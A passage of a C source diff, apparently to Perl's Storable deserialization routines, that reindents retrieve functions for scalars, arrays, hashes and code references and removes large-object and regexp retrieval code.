(retrieve_lobject at 0x%" UVxf ")", PTR2UV(sv))); - return sv; -#else - PERL_UNUSED_ARG(cname); + TRACEME(("integer %" IVdf, iv)); + TRACEME(("ok (retrieve_integer at 0x%" UVxf ")", PTR2UV(sv))); - /* previously this (brokenly) checked the length value and only failed if - the length was over 4G. - Since this op should only occur with objects over 4GB (or 2GB) we can just - reject it. - */ - CROAK(("Invalid large object op for this 32bit system")); -#endif + return sv; } /* @@ -6048,26 +5166,26 @@ static SV *retrieve_lobject(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_netint(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; - HV *stash; - I32 iv; + SV *sv; + HV *stash; + I32 iv; - TRACEME(("retrieve_netint (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_netint (#%d)", cxt->tagnum)); - READ_I32(iv); + READ_I32(iv); #ifdef HAS_NTOHL - sv = newSViv((int) ntohl(iv)); - TRACEME(("network integer %d", (int) ntohl(iv))); + sv = newSViv((int) ntohl(iv)); + TRACEME(("network integer %d", (int) ntohl(iv))); #else - sv = newSViv(iv); - TRACEME(("network integer (as-is) %d", iv)); + sv = newSViv(iv); + TRACEME(("network integer (as-is) %d", iv)); #endif - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ - TRACEME(("ok (retrieve_netint at 0x%" UVxf ")", PTR2UV(sv))); + TRACEME(("ok (retrieve_netint at 0x%" UVxf ")", PTR2UV(sv))); - return sv; + return sv; } /* @@ -6078,21 +5196,21 @@ static SV *retrieve_netint(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_double(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; - HV *stash; - NV nv; + SV *sv; + HV *stash; + NV nv; - TRACEME(("retrieve_double (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_double (#%d)", cxt->tagnum)); - READ(&nv, sizeof(nv)); - sv = newSVnv(nv); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ + READ(&nv, sizeof(nv)); + sv = newSVnv(nv); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ - TRACEME(("double %" NVff, nv)); - TRACEME(("ok (retrieve_double at 0x%" UVxf ")", PTR2UV(sv))); + TRACEME(("double %" NVff, nv)); + TRACEME(("ok (retrieve_double at 0x%" UVxf ")", PTR2UV(sv))); - return sv; + return sv; } /* @@ -6103,29 +5221,24 @@ static SV *retrieve_double(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_byte(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; - HV *stash; - int siv; -#ifdef _MSC_VER - /* MSVC 2017 doesn't handle the AIX workaround well */ - int tmp; -#else - signed char tmp; /* Workaround for AIX cc bug --H.Merijn Brand */ -#endif + SV *sv; + HV *stash; + int siv; + signed char tmp; /* Workaround for AIX cc bug --H.Merijn Brand */ - TRACEME(("retrieve_byte (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_byte (#%d)", cxt->tagnum)); - GETMARK(siv); - TRACEME(("small integer read as %d", (unsigned char) siv)); - tmp = (unsigned char) siv - 128; - sv = newSViv(tmp); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ + GETMARK(siv); + TRACEME(("small integer read as %d", (unsigned char) siv)); + tmp = (unsigned char) siv - 128; + sv = newSViv(tmp); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ - TRACEME(("byte %d", tmp)); - TRACEME(("ok (retrieve_byte at 0x%" UVxf ")", PTR2UV(sv))); + TRACEME(("byte %d", tmp)); + TRACEME(("ok (retrieve_byte at 0x%" UVxf ")", PTR2UV(sv))); - return sv; + return sv; } /* @@ -6135,16 +5248,16 @@ static SV *retrieve_byte(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_undef(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; - HV *stash; + SV *sv; + HV *stash; - TRACEME(("retrieve_undef")); + TRACEME(("retrieve_undef")); - sv = newSV(0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); + sv = newSV(0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); - return sv; + return sv; } /* @@ -6154,20 +5267,20 @@ static SV *retrieve_undef(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_sv_undef(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv = &PL_sv_undef; - HV *stash; + SV *sv = &PL_sv_undef; + HV *stash; - TRACEME(("retrieve_sv_undef")); + TRACEME(("retrieve_sv_undef")); - /* Special case PL_sv_undef, as av_fetch uses it internally to mark - deleted elements, and will return NULL (fetch failed) whenever it - is fetched. */ - if (cxt->where_is_undef == UNSET_NTAG_T) { - cxt->where_is_undef = cxt->tagnum; - } - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 1); - return sv; + /* Special case PL_sv_undef, as av_fetch uses it internally to mark + deleted elements, and will return NULL (fetch failed) whenever it + is fetched. */ + if (cxt->where_is_undef == -1) { + cxt->where_is_undef = cxt->tagnum; + } + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 1); + return sv; } /* @@ -6177,14 +5290,14 @@ static SV *retrieve_sv_undef(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_sv_yes(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv = &PL_sv_yes; - HV *stash; + SV *sv = &PL_sv_yes; + HV *stash; - TRACEME(("retrieve_sv_yes")); + TRACEME(("retrieve_sv_yes")); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 1); - return sv; + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 1); + return sv; } /* @@ -6194,14 +5307,14 @@ static SV *retrieve_sv_yes(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_sv_no(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv = &PL_sv_no; - HV *stash; + SV *sv = &PL_sv_no; + HV *stash; - TRACEME(("retrieve_sv_no")); + TRACEME(("retrieve_sv_no")); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 1); - return sv; + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 1); + return sv; } /* @@ -6213,13 +5326,13 @@ static SV *retrieve_sv_no(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_svundef_elem(pTHX_ stcxt_t *cxt, const char *cname) { - TRACEME(("retrieve_svundef_elem")); + TRACEME(("retrieve_svundef_elem")); - /* SEEN reads the contents of its SV argument, which we are not - supposed to do with &PL_sv_placeholder. */ - SEEN_NN(&PL_sv_undef, cname, 1); + /* SEEN reads the contents of its SV argument, which we are not + supposed to do with &PL_sv_placeholder. */ + SEEN_NN(&PL_sv_undef, cname, 1); - return &PL_sv_placeholder; + return &PL_sv_placeholder; } /* @@ -6233,184 +5346,53 @@ static SV *retrieve_svundef_elem(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_array(pTHX_ stcxt_t *cxt, const char *cname) { - I32 len, i; - AV *av; - SV *sv; - HV *stash; - bool seen_null = FALSE; - - TRACEME(("retrieve_array (#%d)", (int)cxt->tagnum)); - - /* - * Read length, and allocate array, then pre-extend it. - */ - - RLEN(len); - TRACEME(("size = %d", (int)len)); - av = newAV(); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(av, stash, 0); /* Will return if array not allocated nicely */ - if (len) - av_extend(av, len); - else - return (SV *) av; /* No data follow if array is empty */ - - /* - * Now get each item in turn... - */ - - for (i = 0; i < len; i++) { - TRACEME(("(#%d) item", (int)i)); - sv = retrieve(aTHX_ cxt, 0); /* Retrieve item */ - if (!sv) - return (SV *) 0; - if (sv == &PL_sv_undef) { - seen_null = TRUE; - continue; - } - if (sv == &PL_sv_placeholder) - sv = &PL_sv_undef; - if (av_store(av, i, sv) == 0) - return (SV *) 0; - } - if (seen_null) av_fill(av, len-1); - - TRACEME(("ok (retrieve_array at 0x%" UVxf ")", PTR2UV(av))); - - return (SV *) av; -} - -#ifdef HAS_U64 - -/* internal method with len already read */ - -static SV *get_larray(pTHX_ stcxt_t *cxt, UV len, const char *cname) -{ - UV i; - AV *av; - SV *sv; - HV *stash; - bool seen_null = FALSE; - - TRACEME(("get_larray (#%d) %lu", (int)cxt->tagnum, (unsigned long)len)); - - /* - * allocate array, then pre-extend it. - */ - - av = newAV(); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(av, stash, 0); /* Will return if array not allocated nicely */ - assert(len); - av_extend(av, len); - - /* - * Now get each item in turn... - */ - - for (i = 0; i < len; i++) { - TRACEME(("(#%d) item", (int)i)); - sv = retrieve(aTHX_ cxt, 0); /* Retrieve item */ - if (!sv) - return (SV *) 0; - if (sv == &PL_sv_undef) { - seen_null = TRUE; - continue; - } - if (sv == &PL_sv_placeholder) - sv = &PL_sv_undef; - if (av_store(av, i, sv) == 0) - return (SV *) 0; - } - if (seen_null) av_fill(av, len-1); - - TRACEME(("ok (get_larray at 0x%" UVxf ")", PTR2UV(av))); - - return (SV *) av; -} - -/* - * get_lhash - * - * Retrieve a overlong hash table. - * is already read. What follows is each key/value pair, in random order. - * Keys are stored as , the section being omitted - * if length is 0. - * Values are stored as . - * - */ -static SV *get_lhash(pTHX_ stcxt_t *cxt, UV len, int hash_flags, const char *cname) -{ - UV size; - UV i; - HV *hv; - SV *sv; - HV *stash; - - TRACEME(("get_lhash (#%d)", (int)cxt->tagnum)); - -#ifdef HAS_RESTRICTED_HASHES - PERL_UNUSED_ARG(hash_flags); -#else - if (hash_flags & SHV_RESTRICTED) { - if (cxt->derestrict < 0) - cxt->derestrict = (SvTRUE - (get_sv("Storable::downgrade_restricted", GV_ADD)) - ? 1 : 0); - if (cxt->derestrict == 0) - RESTRICTED_HASH_CROAK(); - } -#endif - - TRACEME(("size = %lu", (unsigned long)len)); - hv = newHV(); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(hv, stash, 0); /* Will return if table not allocated properly */ - if (len == 0) - return (SV *) hv; /* No data follow if table empty */ - TRACEME(("split %lu", (unsigned long)len+1)); - hv_ksplit(hv, len+1); /* pre-extend hash to save multiple splits */ - - /* - * Now get each key/value pair in turn... - */ - - for (i = 0; i < len; i++) { - /* - * Get value first. - */ - - TRACEME(("(#%d) value", (int)i)); - sv = retrieve(aTHX_ cxt, 0); - if (!sv) - return (SV *) 0; - - /* - * Get key. - * Since we're reading into kbuf, we must ensure we're not - * recursing between the read and the hv_store() where it's used. - * Hence the key comes after the value. - */ - - RLEN(size); /* Get key size */ - KBUFCHK((STRLEN)size); /* Grow hash key read pool if needed */ - if (size) - READ(kbuf, size); - kbuf[size] = '\0'; /* Mark string end, just in case */ - TRACEME(("(#%d) key '%s'", (int)i, kbuf)); - - /* - * Enter key/value pair into hash table. - */ + I32 len; + I32 i; + AV *av; + SV *sv; + HV *stash; + bool seen_null = FALSE; + + TRACEME(("retrieve_array (#%d)", cxt->tagnum)); + + /* + * Read length, and allocate array, then pre-extend it. + */ + + RLEN(len); + TRACEME(("size = %d", len)); + av = newAV(); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(av, stash, 0); /* Will return if array not allocated nicely */ + if (len) + av_extend(av, len); + else + return (SV *) av; /* No data follow if array is empty */ + + /* + * Now get each item in turn... + */ + + for (i = 0; i < len; i++) { + TRACEME(("(#%d) item", i)); + sv = retrieve(aTHX_ cxt, 0); /* Retrieve item */ + if (!sv) + return (SV *) 0; + if (sv == &PL_sv_undef) { + seen_null = TRUE; + continue; + } + if (sv == &PL_sv_placeholder) + sv = &PL_sv_undef; + if (av_store(av, i, sv) == 0) + return (SV *) 0; + } + if (seen_null) av_fill(av, len-1); - if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0) - return (SV *) 0; - } + TRACEME(("ok (retrieve_array at 0x%" UVxf ")", PTR2UV(av))); - TRACEME(("ok (get_lhash at 0x%" UVxf ")", PTR2UV(hv))); - return (SV *) hv; + return (SV *) av; } -#endif /* * retrieve_hash @@ -6425,68 +5407,67 @@ static SV *get_lhash(pTHX_ stcxt_t *cxt, UV len, int hash_flags, const char *cna */ static SV *retrieve_hash(pTHX_ stcxt_t *cxt, const char *cname) { - I32 len; - I32 size; - I32 i; - HV *hv; - SV *sv; - HV *stash; - - TRACEME(("retrieve_hash (#%d)", (int)cxt->tagnum)); - - /* - * Read length, allocate table. - */ - - RLEN(len); - TRACEME(("size = %d", (int)len)); - hv = newHV(); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(hv, stash, 0); /* Will return if table not allocated properly */ - if (len == 0) - return (SV *) hv; /* No data follow if table empty */ - TRACEME(("split %d", (int)len+1)); - hv_ksplit(hv, len+1); /* pre-extend hash to save multiple splits */ - - /* - * Now get each key/value pair in turn... - */ - - for (i = 0; i < len; i++) { - /* - * Get value first. - */ - - TRACEME(("(#%d) value", (int)i)); - sv = retrieve(aTHX_ cxt, 0); - if (!sv) - return (SV *) 0; - - /* - * Get key. - * Since we're reading into kbuf, we must ensure we're not - * recursing between the read and the hv_store() where it's used. - * Hence the key comes after the value. - */ - - RLEN(size); /* Get key size */ - KBUFCHK((STRLEN)size); /* Grow hash key read pool if needed */ - if (size) - READ(kbuf, size); - kbuf[size] = '\0'; /* Mark string end, just in case */ - TRACEME(("(#%d) key '%s'", (int)i, kbuf)); - - /* - * Enter key/value pair into hash table. - */ - - if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0) - return (SV *) 0; - } + I32 len; + I32 size; + I32 i; + HV *hv; + SV *sv; + HV *stash; + + TRACEME(("retrieve_hash (#%d)", cxt->tagnum)); + + /* + * Read length, allocate table. + */ + + RLEN(len); + TRACEME(("size = %d", len)); + hv = newHV(); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(hv, stash, 0); /* Will return if table not allocated properly */ + if (len == 0) + return (SV *) hv; /* No data follow if table empty */ + hv_ksplit(hv, len + 1); /* pre-extend hash to save multiple splits */ + + /* + * Now get each key/value pair in turn... + */ + + for (i = 0; i < len; i++) { + /* + * Get value first. + */ + + TRACEME(("(#%d) value", i)); + sv = retrieve(aTHX_ cxt, 0); + if (!sv) + return (SV *) 0; + + /* + * Get key. + * Since we're reading into kbuf, we must ensure we're not + * recursing between the read and the hv_store() where it's used. + * Hence the key comes after the value. + */ + + RLEN(size); /* Get key size */ + KBUFCHK((STRLEN)size); /* Grow hash key read pool if needed */ + if (size) + READ(kbuf, size); + kbuf[size] = '\0'; /* Mark string end, just in case */ + TRACEME(("(#%d) key '%s'", i, kbuf)); + + /* + * Enter key/value pair into hash table. + */ + + if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0) + return (SV *) 0; + } - TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv))); + TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv))); - return (SV *) hv; + return (SV *) hv; } /* @@ -6512,7 +5493,7 @@ static SV *retrieve_flag_hash(pTHX_ stcxt_t *cxt, const char *cname) int hash_flags; GETMARK(hash_flags); - TRACEME(("retrieve_flag_hash (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_flag_hash (#%d)", cxt->tagnum)); /* * Read length, allocate table. */ @@ -6520,23 +5501,22 @@ static SV *retrieve_flag_hash(pTHX_ stcxt_t *cxt, const char *cname) #ifndef HAS_RESTRICTED_HASHES if (hash_flags & SHV_RESTRICTED) { if (cxt->derestrict < 0) - cxt->derestrict = (SvTRUE - (get_sv("Storable::downgrade_restricted", GV_ADD)) - ? 1 : 0); + cxt->derestrict + = (SvTRUE(perl_get_sv("Storable::downgrade_restricted", GV_ADD)) + ? 1 : 0); if (cxt->derestrict == 0) RESTRICTED_HASH_CROAK(); } #endif RLEN(len); - TRACEME(("size = %d, flags = %d", (int)len, hash_flags)); + TRACEME(("size = %d, flags = %d", len, hash_flags)); hv = newHV(); stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(hv, stash, 0); /* Will return if table not allocated properly */ + SEEN_NN(hv, stash, 0); /* Will return if table not allocated properly */ if (len == 0) return (SV *) hv; /* No data follow if table empty */ - TRACEME(("split %d", (int)len+1)); - hv_ksplit(hv, len+1); /* pre-extend hash to save multiple splits */ + hv_ksplit(hv, len + 1); /* pre-extend hash to save multiple splits */ /* * Now get each key/value pair in turn... @@ -6549,7 +5529,7 @@ static SV *retrieve_flag_hash(pTHX_ stcxt_t *cxt, const char *cname) * Get value first. */ - TRACEME(("(#%d) value", (int)i)); + TRACEME(("(#%d) value", i)); sv = retrieve(aTHX_ cxt, 0); if (!sv) return (SV *) 0; @@ -6566,7 +5546,7 @@ static SV *retrieve_flag_hash(pTHX_ stcxt_t *cxt, const char *cname) Without messing around beyond what the API is supposed to do. */ SV *keysv; - TRACEME(("(#%d) keysv, flags=%d", (int)i, flags)); + TRACEME(("(#%d) keysv, flags=%d", i, flags)); keysv = retrieve(aTHX_ cxt, 0); if (!keysv) return (SV *) 0; @@ -6584,258 +5564,186 @@ static SV *retrieve_flag_hash(pTHX_ stcxt_t *cxt, const char *cname) if (flags & SHV_K_PLACEHOLDER) { SvREFCNT_dec (sv); sv = &PL_sv_placeholder; - store_flags |= HVhek_PLACEHOLD; - } + store_flags |= HVhek_PLACEHOLD; + } if (flags & SHV_K_UTF8) { #ifdef HAS_UTF8_HASHES store_flags |= HVhek_UTF8; #else if (cxt->use_bytes < 0) - cxt->use_bytes - = (SvTRUE(get_sv("Storable::drop_utf8", GV_ADD)) - ? 1 : 0); - if (cxt->use_bytes == 0) - UTF8_CROAK(); -#endif - } -#ifdef HAS_UTF8_HASHES - if (flags & SHV_K_WASUTF8) - store_flags |= HVhek_WASUTF8; -#endif - - RLEN(size); /* Get key size */ - KBUFCHK((STRLEN)size);/* Grow hash key read pool if needed */ - if (size) - READ(kbuf, size); - kbuf[size] = '\0'; /* Mark string end, just in case */ - TRACEME(("(#%d) key '%s' flags %X store_flags %X", (int)i, kbuf, - flags, store_flags)); - - /* - * Enter key/value pair into hash table. - */ - -#ifdef HAS_RESTRICTED_HASHES - if (hv_store_flags(hv, kbuf, size, sv, 0, store_flags) == 0) - return (SV *) 0; -#else - if (!(store_flags & HVhek_PLACEHOLD)) - if (hv_store(hv, kbuf, size, sv, 0) == 0) - return (SV *) 0; -#endif - } - } -#ifdef HAS_RESTRICTED_HASHES - if (hash_flags & SHV_RESTRICTED) - SvREADONLY_on(hv); -#endif - - TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv))); - - return (SV *) hv; -} - -/* - * retrieve_code - * - * Return a code reference. - */ -static SV *retrieve_code(pTHX_ stcxt_t *cxt, const char *cname) -{ -#if PERL_VERSION < 6 - CROAK(("retrieve_code does not work with perl 5.005 or less\n")); -#else - dSP; - I32 type, count; - IV tagnum; - SV *cv; - SV *sv, *text, *sub, *errsv; - HV *stash; - - TRACEME(("retrieve_code (#%d)", (int)cxt->tagnum)); - - /* - * Insert dummy SV in the aseen array so that we don't screw - * up the tag numbers. We would just make the internal - * scalar an untagged item in the stream, but - * retrieve_scalar() calls SEEN(). So we just increase the - * tag number. - */ - tagnum = cxt->tagnum; - sv = newSViv(0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); - - /* - * Retrieve the source of the code reference - * as a small or large scalar - */ - - GETMARK(type); - switch (type) { - case SX_SCALAR: - text = retrieve_scalar(aTHX_ cxt, cname); - break; - case SX_LSCALAR: - text = retrieve_lscalar(aTHX_ cxt, cname); - break; - case SX_UTF8STR: - text = retrieve_utf8str(aTHX_ cxt, cname); - break; - case SX_LUTF8STR: - text = retrieve_lutf8str(aTHX_ cxt, cname); - break; - default: - CROAK(("Unexpected type %d in retrieve_code\n", (int)type)); - } - - if (!text) { - CROAK(("Unable to retrieve code\n")); - } - - /* - * prepend "sub " to the source - */ - - sub = newSVpvs("sub "); - if (SvUTF8(text)) - SvUTF8_on(sub); - sv_catpv(sub, SvPV_nolen(text)); /* XXX no sv_catsv! */ - SvREFCNT_dec(text); - - /* - * evaluate the source to a code reference and use the CV value - */ - - if (cxt->eval == NULL) { - cxt->eval = get_sv("Storable::Eval", GV_ADD); - SvREFCNT_inc(cxt->eval); - } - if (!SvTRUE(cxt->eval)) { - if (cxt->forgive_me == 0 || - (cxt->forgive_me < 0 && - !(cxt->forgive_me = SvTRUE - (get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0)) - ) { - CROAK(("Can't eval, please set $Storable::Eval to a true value")); - } else { - sv = newSVsv(sub); - /* fix up the dummy entry... */ - av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv)); - return sv; - } - } - - ENTER; - SAVETMPS; - - errsv = get_sv("@", GV_ADD); - SvPVCLEAR(errsv); /* clear $@ */ - if (SvROK(cxt->eval) && SvTYPE(SvRV(cxt->eval)) == SVt_PVCV) { - PUSHMARK(sp); - XPUSHs(sv_2mortal(newSVsv(sub))); - PUTBACK; - count = call_sv(cxt->eval, G_SCALAR); - if (count != 1) - CROAK(("Unexpected return value from $Storable::Eval callback\n")); - } else { - eval_sv(sub, G_SCALAR); - } - SPAGAIN; - cv = POPs; - PUTBACK; - - if (SvTRUE(errsv)) { - CROAK(("code %s caused an error: %s", - SvPV_nolen(sub), SvPV_nolen(errsv))); - } - - if (cv && SvROK(cv) && SvTYPE(SvRV(cv)) == SVt_PVCV) { - sv = SvRV(cv); - } else { - CROAK(("code %s did not evaluate to a subroutine reference\n", - SvPV_nolen(sub))); - } - - SvREFCNT_inc(sv); /* XXX seems to be necessary */ - SvREFCNT_dec(sub); - - FREETMPS; - LEAVE; - /* fix up the dummy entry... */ - av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv)); - - return sv; + cxt->use_bytes + = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD)) + ? 1 : 0); + if (cxt->use_bytes == 0) + UTF8_CROAK(); +#endif + } +#ifdef HAS_UTF8_HASHES + if (flags & SHV_K_WASUTF8) + store_flags |= HVhek_WASUTF8; #endif -} - -static SV *retrieve_regexp(pTHX_ stcxt_t *cxt, const char *cname) { -#if PERL_VERSION >= 8 - int op_flags; - U32 re_len; - STRLEN flags_len; - SV *re; - SV *flags; - SV *re_ref; - SV *sv; - dSP; - I32 count; - PERL_UNUSED_ARG(cname); + RLEN(size); /* Get key size */ + KBUFCHK((STRLEN)size); /* Grow hash key read pool if needed */ + if (size) + READ(kbuf, size); + kbuf[size] = '\0'; /* Mark string end, just in case */ + TRACEME(("(#%d) key '%s' flags %X store_flags %X", i, kbuf, + flags, store_flags)); - ENTER; - SAVETMPS; + /* + * Enter key/value pair into hash table. + */ - GETMARK(op_flags); - if (op_flags & SHR_U32_RE_LEN) { - RLEN(re_len); +#ifdef HAS_RESTRICTED_HASHES + if (hv_store_flags(hv, kbuf, size, sv, 0, store_flags) == 0) + return (SV *) 0; +#else + if (!(store_flags & HVhek_PLACEHOLD)) + if (hv_store(hv, kbuf, size, sv, 0) == 0) + return (SV *) 0; +#endif + } } - else - GETMARK(re_len); +#ifdef HAS_RESTRICTED_HASHES + if (hash_flags & SHV_RESTRICTED) + SvREADONLY_on(hv); +#endif + + TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv))); - re = sv_2mortal(NEWSV(10002, re_len ? re_len : 1)); - READ(SvPVX(re), re_len); - SvCUR_set(re, re_len); - *SvEND(re) = '\0'; - SvPOK_only(re); + return (SV *) hv; +} - GETMARK(flags_len); - flags = sv_2mortal(NEWSV(10002, flags_len ? flags_len : 1)); - READ(SvPVX(flags), flags_len); - SvCUR_set(flags, flags_len); - *SvEND(flags) = '\0'; - SvPOK_only(flags); +/* + * retrieve_code + * + * Return a code reference. + */ +static SV *retrieve_code(pTHX_ stcxt_t *cxt, const char *cname) +{ +#if PERL_VERSION < 6 + CROAK(("retrieve_code does not work with perl 5.005 or less\n")); +#else + dSP; + int type, count, tagnum; + SV *cv; + SV *sv, *text, *sub, *errsv; + HV *stash; + + TRACEME(("retrieve_code (#%d)", cxt->tagnum)); + + /* + * Insert dummy SV in the aseen array so that we don't screw + * up the tag numbers. We would just make the internal + * scalar an untagged item in the stream, but + * retrieve_scalar() calls SEEN(). So we just increase the + * tag number. + */ + tagnum = cxt->tagnum; + sv = newSViv(0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); + + /* + * Retrieve the source of the code reference + * as a small or large scalar + */ + + GETMARK(type); + switch (type) { + case SX_SCALAR: + text = retrieve_scalar(aTHX_ cxt, cname); + break; + case SX_LSCALAR: + text = retrieve_lscalar(aTHX_ cxt, cname); + break; + case SX_UTF8STR: + text = retrieve_utf8str(aTHX_ cxt, cname); + break; + case SX_LUTF8STR: + text = retrieve_lutf8str(aTHX_ cxt, cname); + break; + default: + CROAK(("Unexpected type %d in retrieve_code\n", type)); + } - PUSHMARK(SP); + if (!text) { + CROAK(("Unable to retrieve code\n")); + } - XPUSHs(re); - XPUSHs(flags); + /* + * prepend "sub " to the source + */ - PUTBACK; + sub = newSVpvs("sub "); + if (SvUTF8(text)) + SvUTF8_on(sub); + sv_catpv(sub, SvPV_nolen(text)); /* XXX no sv_catsv! */ + SvREFCNT_dec(text); - count = call_pv("Storable::_make_re", G_SCALAR); + /* + * evaluate the source to a code reference and use the CV value + */ - SPAGAIN; + if (cxt->eval == NULL) { + cxt->eval = perl_get_sv("Storable::Eval", GV_ADD); + SvREFCNT_inc(cxt->eval); + } + if (!SvTRUE(cxt->eval)) { + if ( + cxt->forgive_me == 0 || + (cxt->forgive_me < 0 && !(cxt->forgive_me = + SvTRUE(perl_get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0)) + ) { + CROAK(("Can't eval, please set $Storable::Eval to a true value")); + } else { + sv = newSVsv(sub); + /* fix up the dummy entry... */ + av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv)); + return sv; + } + } - if (count != 1) - CROAK(("Bad count %d calling _make_re", count)); + ENTER; + SAVETMPS; + + errsv = get_sv("@", GV_ADD); + SvPVCLEAR(errsv); /* clear $@ */ + if (SvROK(cxt->eval) && SvTYPE(SvRV(cxt->eval)) == SVt_PVCV) { + PUSHMARK(sp); + XPUSHs(sv_2mortal(newSVsv(sub))); + PUTBACK; + count = call_sv(cxt->eval, G_SCALAR); + if (count != 1) + CROAK(("Unexpected return value from $Storable::Eval callback\n")); + } else { + eval_sv(sub, G_SCALAR); + } + SPAGAIN; + cv = POPs; + PUTBACK; - re_ref = POPs; + if (SvTRUE(errsv)) { + CROAK(("code %s caused an error: %s", + SvPV_nolen(sub), SvPV_nolen(errsv))); + } - PUTBACK; + if (cv && SvROK(cv) && SvTYPE(SvRV(cv)) == SVt_PVCV) { + sv = SvRV(cv); + } else { + CROAK(("code %s did not evaluate to a subroutine reference\n", SvPV_nolen(sub))); + } - if (!SvROK(re_ref)) - CROAK(("_make_re didn't return a reference")); + SvREFCNT_inc(sv); /* XXX seems to be necessary */ + SvREFCNT_dec(sub); - sv = SvRV(re_ref); - SvREFCNT_inc(sv); - - FREETMPS; - LEAVE; + FREETMPS; + LEAVE; + /* fix up the dummy entry... */ + av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv)); - return sv; -#else - CROAK(("retrieve_regexp does not work with 5.6 or earlier")); + return sv; #endif } @@ -6851,51 +5759,51 @@ static SV *retrieve_regexp(pTHX_ stcxt_t *cxt, const char *cname) { */ static SV *old_retrieve_array(pTHX_ stcxt_t *cxt, const char *cname) { - I32 len; - I32 i; - AV *av; - SV *sv; - int c; - - PERL_UNUSED_ARG(cname); - TRACEME(("old_retrieve_array (#%d)", (int)cxt->tagnum)); - - /* - * Read length, and allocate array, then pre-extend it. - */ - - RLEN(len); - TRACEME(("size = %d", (int)len)); - av = newAV(); - SEEN0_NN(av, 0); /* Will return if array not allocated nicely */ - if (len) - av_extend(av, len); - else - return (SV *) av; /* No data follow if array is empty */ - - /* - * Now get each item in turn... - */ - - for (i = 0; i < len; i++) { - GETMARK(c); - if (c == SX_IT_UNDEF) { - TRACEME(("(#%d) undef item", (int)i)); - continue; /* av_extend() already filled us with undef */ - } - if (c != SX_ITEM) - (void) retrieve_other(aTHX_ cxt, 0);/* Will croak out */ - TRACEME(("(#%d) item", (int)i)); - sv = retrieve(aTHX_ cxt, 0); /* Retrieve item */ - if (!sv) - return (SV *) 0; - if (av_store(av, i, sv) == 0) - return (SV *) 0; - } + I32 len; + I32 i; + AV *av; + SV *sv; + int c; + + PERL_UNUSED_ARG(cname); + TRACEME(("old_retrieve_array (#%d)", cxt->tagnum)); + + /* + * Read length, and allocate array, then pre-extend it. + */ + + RLEN(len); + TRACEME(("size = %d", len)); + av = newAV(); + SEEN0_NN(av, 0); /* Will return if array not allocated nicely */ + if (len) + av_extend(av, len); + else + return (SV *) av; /* No data follow if array is empty */ + + /* + * Now get each item in turn... + */ + + for (i = 0; i < len; i++) { + GETMARK(c); + if (c == SX_IT_UNDEF) { + 